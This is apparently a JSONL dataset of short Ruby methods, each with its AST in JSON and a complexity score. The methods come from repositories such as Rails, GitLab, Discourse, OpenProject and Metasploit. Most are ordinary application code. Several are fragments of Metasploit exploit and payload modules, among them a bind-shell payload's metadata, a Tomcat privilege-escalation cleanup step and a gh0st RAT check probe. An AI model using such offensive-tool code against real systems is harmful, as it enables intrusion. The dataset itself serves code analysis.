vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_MIPSLE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"BindTcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"CommandShellUnix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offsets\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}]}","id":"fc374a44-b9a0-4b4b-af24-1cda0b1d86af"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-schema-validation/lib/gitlab/schema/validation/inconsistency.rb","start_line":9,"raw_source":"def initialize(validator_class, structure_sql_object, database_object, details: {})\n          @validator_class = validator_class\n          @structure_sql_object = structure_sql_object\n          @database_object = database_object\n          @details = details\n        end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"validator_class\"]},{\"type\":\"arg\",\"children\":[\"structure_sql_object\"]},{\"type\":\"arg\",\"children\":[\"database_object\"]},{\"type\":\"kwoptarg\",\"children\":[\"details\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@validator_class\",{\"type\":\"lvar\",\"children\":[\"validator_class\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@structure_sql_object\",{\"type\":\"lvar\",\"children\":[\"structure_sql_object\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@database_object\",{\"type\":\"lvar\",\"children\":[\"database_object\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@details\",{\"type\":\"lvar\",\"children\":[\"details\"]}]}]}]}","id":"2de5d269-0825-410a-9144-40777eefbc65"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse_redis.rb","start_line":197,"raw_source":"def keys(pattern = nil)\n    DiscourseRedis.ignore_readonly do\n      pattern = pattern || \"*\"\n      pattern = \"#{namespace}:#{pattern}\" if @namespace\n      keys = @redis.keys(pattern)\n\n      if @namespace\n        len = namespace.length + 1\n        keys.map! { |k| k[len..-1] }\n      end\n\n      keys\n    end\n  end","complexity_score":23.7,"ast_json":"{\"type\":\"def\",\"children\":[\"keys\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"pattern\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseRedis\"]},\"ignore_readonly\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pattern\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},{\"type\":\"str\",\"children\":[\"*\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@namespace\"]},{\"type\":\"lvasgn\",\"children\":[\"pattern\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"keys\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@redis\"]},\"keys\",{\"type\":\"lvar\",\"children\":[\"pattern\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@namespace\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"len\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]},\"length\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"len\"]},{\"type\":\"int\",\"children\":[-1]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"keys\"]}]}]}]}","id":"e934af60-8787-4d67-a5c0-c096d7383476"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/models/work_package/abstract_costs.rb","start_line":109,"raw_source":"def sum_subselect(base_scope)\n      base_scope\n        .dup\n        .left_join_self_and_descendants(user)\n        .except(:select)\n        .select(\"#{costs_sum} AS #{costs_sum_alias}\")\n        .select(wp_table[:id])\n        .arel\n        .outer_join(ce_table)\n        .on(ce_table_join_condition)\n        .group(wp_table[:id])\n    end","complexity_score":33.0,"ast_json":"{\"type\":\"def\",\"children\":[\"sum_subselect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base_scope\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_scope\"]},\"dup\"]},\"left_join_self_and_descendants\",{\"type\":\"send\",\"children\":[null,\"user\"]}]},\"except\",{\"type\":\"sym\",\"children\":[\"select\"]}]},\"select\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"costs_sum\"]}]},{\"type\":\"str\",\"children\":[\" AS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"costs_sum_alias\"]}]}]}]},\"select\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wp_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"arel\"]},\"outer_join\",{\"type\":\"send\",\"children\":[null,\"ce_table\"]}]},\"on\",{\"type\":\"send\",\"children\":[null,\"ce_table_join_condition\"]}]},\"group\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wp_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}","id":"8f6b821d-55a5-4f8b-ad12-023763f58079"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/lib/open_project/backlogs/patches/permitted_params_patch.rb","start_line":49,"raw_source":"def backlogs_admin_settings\n      params\n        .require(:settings)\n        .permit(:task_type, :points_burn_direction, :wiki_template, story_types: [])\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"backlogs_admin_settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"settings\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"task_type\"]},{\"type\":\"sym\",\"children\":[\"points_burn_direction\"]},{\"type\":\"sym\",\"children\":[\"wiki_template\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"story_types\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"23de69ab-3c60-4fe0-94b0-97cea9b8a57a"}
{"repo_name":"rails","file_path":"./repos/rails/actiontext/lib/action_text/attachment.rb","start_line":77,"raw_source":"def full_attributes\n      node_attributes.merge(attachable_attributes).merge(sgid_attributes)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"full_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"node_attributes\"]},\"merge\",{\"type\":\"send\",\"children\":[null,\"attachable_attributes\"]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"sgid_attributes\"]}]}]}","id":"8993a839-d248-4498-a167-6a499c41555b"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/registry.rb","start_line":279,"raw_source":"def initialize_copy(reg)\n        initialize(reg.cops, reg.options)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_copy\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reg\"]}]},{\"type\":\"send\",\"children\":[null,\"initialize\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reg\"]},\"cops\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reg\"]},\"options\"]}]}]}","id":"7c1df25d-5f5d-4996-b3a1-e617c5a3af5e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/tomcat_rhel_based_temp_priv_esc.rb","start_line":172,"raw_source":"def cleanup\n    unless @tomcat_conf_content.nil?\n      write_file(tomcat_conf, @tomcat_conf_content)\n    end\n    super\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tomcat_conf_content\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[null,\"write_file\",{\"type\":\"send\",\"children\":[null,\"tomcat_conf\"]},{\"type\":\"ivar\",\"children\":[\"@tomcat_conf_content\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"3161ac0f-827e-45ba-96d2-f8019335049e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/build/cache.rb","start_line":9,"raw_source":"def initialize(cache, pipeline)\n          cache = Array.wrap(cache)\n          @cache = cache.map.with_index do |cache, index|\n            prefix = cache_prefix(cache, index)\n\n            Gitlab::Ci::Pipeline::Seed::Build::Cache\n            .new(pipeline, cache, prefix)\n          end\n        end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cache\"]},{\"type\":\"arg\",\"children\":[\"pipeline\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cache\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"lvar\",\"children\":[\"cache\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@cache\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache\"]},\"map\"]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cache\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"prefix\",{\"type\":\"send\",\"children\":[null,\"cache_prefix\",{\"type\":\"lvar\",\"children\":[\"cache\"]},{\"type\":\"lvar\",\"children\":[\"index\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"Pipeline\"]},\"Seed\"]},\"Build\"]},\"Cache\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"pipeline\"]},{\"type\":\"lvar\",\"children\":[\"cache\"]},{\"type\":\"lvar\",\"children\":[\"prefix\"]}]}]}]}]}]}]}","id":"39dfa533-e228-4156-b6b8-d1b1a0904b28"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/my/access_token/api/row_component.rb","start_line":47,"raw_source":"def created_at\n          helpers.format_time(api_token.created_at)\n        end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"created_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"format_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_token\"]},\"created_at\"]}]}]}","id":"dfbee322-70e2-4af5-af01-db15f183b847"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/persistence.rb","start_line":311,"raw_source":"def instantiate_instance_of(klass, attributes, column_types = {}, &block)\n          attributes = klass.attributes_builder.build_from_database(attributes, column_types)\n          klass.allocate.init_with_attributes(attributes, &block)\n        end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"instantiate_instance_of\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"attributes\"]},{\"type\":\"optarg\",\"children\":[\"column_types\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"attributes_builder\"]},\"build_from_database\",{\"type\":\"lvar\",\"children\":[\"attributes\"]},{\"type\":\"lvar\",\"children\":[\"column_types\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"allocate\"]},\"init_with_attributes\",{\"type\":\"lvar\",\"children\":[\"attributes\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"001bcd2a-2d8a-4a2d-9483-1810e3ff8063"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/project_phases/hover_card_controller.rb","start_line":57,"raw_source":"def find_phase\n      @phase = Project::Phase.where(active: true).eager_load(:definition).find_by(id: params[:id])\n      return if @phase\n\n      render json: { error: \"Invalid id parameter\" }, status: :unprocessable_entity\n    end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_phase\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@phase\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"Phase\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"eager_load\",{\"type\":\"sym\",\"children\":[\"definition\"]}]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@phase\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"Invalid id parameter\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}","id":"c94430ef-32cc-4ee9-8088-d3f4f4970ae3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/net/dns/resolver.rb","start_line":1068,"raw_source":"def mx(name,cls=Net::DNS::IN)\n        arr = []\n        send(name, Net::DNS::MX, cls).answer.each do |entry|\n          arr << entry if entry.type == 'MX'\n        end\n        return arr.sort_by {|a| a.preference}\n      end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"mx\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"cls\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"DNS\"]},\"IN\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arr\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"DNS\"]},\"MX\"]},{\"type\":\"lvar\",\"children\":[\"cls\"]}]},\"answer\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"MX\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"entry\"]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"preference\"]}]}]}]}]}","id":"0002b511-0e4d-4522-ab7f-0ed26172b993"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/evasion.rb","start_line":125,"raw_source":"def compatible_payloads(excluded_platforms: [], excluded_archs: [])\n      payloads = []\n\n      c_platform, c_arch = normalize_platform_arch\n\n      # The \"All\" platform name represents generic payloads\n      results = Msf::Modules::Metadata::Cache.instance.find(\n        'type'     => [['payload'], []],\n        'platform' => [[*c_platform.names, 'All'], excluded_platforms],\n        'arch'     => [c_arch, excluded_archs]\n      )\n\n      results.each do |res|\n        if is_payload_compatible?(res.ref_name)\n          payloads << [res.ref_name, framework.payloads[res.ref_name]]\n        end\n      end\n\n      payloads\n    end","complexity_score":23.9,"ast_json":"{\"type\":\"def\",\"children\":[\"compatible_payloads\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"excluded_platforms\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"excluded_archs\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payloads\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"c_platform\"]},{\"type\":\"lvasgn\",\"children\":[\"c_arch\"]}]},{\"type\":\"send\",\"children\":[null,\"normalize_platform_arch\"]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Modules\"]},\"Metadata\"]},\"Cache\"]},\"instance\"]},\"find\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"payload\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c_platform\"]},\"names\"]}]},{\"type\":\"str\",\"children\":[\"All\"]}]},{\"type\":\"lvar\",\"children\":[\"excluded_platforms\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c_arch\"]},{\"type\":\"lvar\",\"children\":[\"excluded_archs\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"res\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_payload_compatible?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"ref_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payloads\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"ref_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"payloads\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"ref_name\"]}]}]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"payloads\"]}]}]}","id":"11ef1afb-6f40-4bf0-a5ff-ebccefe95c8a"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/concerns/reviewable_action_builder.rb","start_line":280,"raw_source":"def delete_user(user, delete_options, performed_by)\n    email = user.email\n\n    UserDestroyer.new(performed_by).destroy(user, delete_options)\n\n    message = UserNotifications.account_deleted(email, self)\n    Email::Sender.new(message, :account_deleted).send\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"delete_options\"]},{\"type\":\"arg\",\"children\":[\"performed_by\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"email\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"email\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserDestroyer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"performed_by\"]}]},\"destroy\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"delete_options\"]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserNotifications\"]},\"account_deleted\",{\"type\":\"lvar\",\"children\":[\"email\"]},{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Email\"]},\"Sender\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"sym\",\"children\":[\"account_deleted\"]}]},\"send\"]}]}]}","id":"af45d6ab-b065-4068-a5bd-6f0d8e544252"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/statement_cache.rb","start_line":118,"raw_source":"def initialize(bound_attributes)\n        @indexes = []\n        @bound_attributes = bound_attributes\n\n        bound_attributes.each_with_index do |attr, i|\n          if ActiveModel::Attribute === attr && Substitute === attr.value\n            @indexes << i\n          end\n        end\n      end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bound_attributes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@indexes\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@bound_attributes\",{\"type\":\"lvar\",\"children\":[\"bound_attributes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bound_attributes\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr\"]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Attribute\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"attr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Substitute\"]},\"===\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr\"]},\"value\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@indexes\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},null]}]}]}]}","id":"96b58ad1-415f-4e7d-ba87-afd54a3a5031"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/suggestions/apply_service.rb","start_line":23,"raw_source":"def result\n      multi_service.execute.tap do |result|\n        update_suggestions(result)\n        update_associated_merge_request(result)\n      end\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"result\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"multi_service\"]},\"execute\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_suggestions\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[null,\"update_associated_merge_request\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}]}","id":"d6545b71-0d31-4067-ade8-f55d247e9f9a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/gh0st.rb","start_line":93,"raw_source":"def check\n    connect\n    sock.put(make_packet(101, \"\\x00\")) # heartbeat\n    if validate_response(sock.get_once || '')\n      return Exploit::CheckCode::Appears\n    end\n\n    Exploit::CheckCode::Safe\n  end","complexity_score":10.75,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"send\",\"children\":[null,\"make_packet\",{\"type\":\"int\",\"children\":[101]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_response\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}","id":"dc2ca2a9-66c4-4788-bd70-baddf985b2cc"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/components/storages/admin/forms/oauth_client_form_component.rb","start_line":40,"raw_source":"def form_method\n      options[:form_method] || default_form_method\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"form_method\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"form_method\"]}]},{\"type\":\"send\",\"children\":[null,\"default_form_method\"]}]}]}","id":"ffeb7fdc-3c02-4675-8ace-c13012ed37e2"}
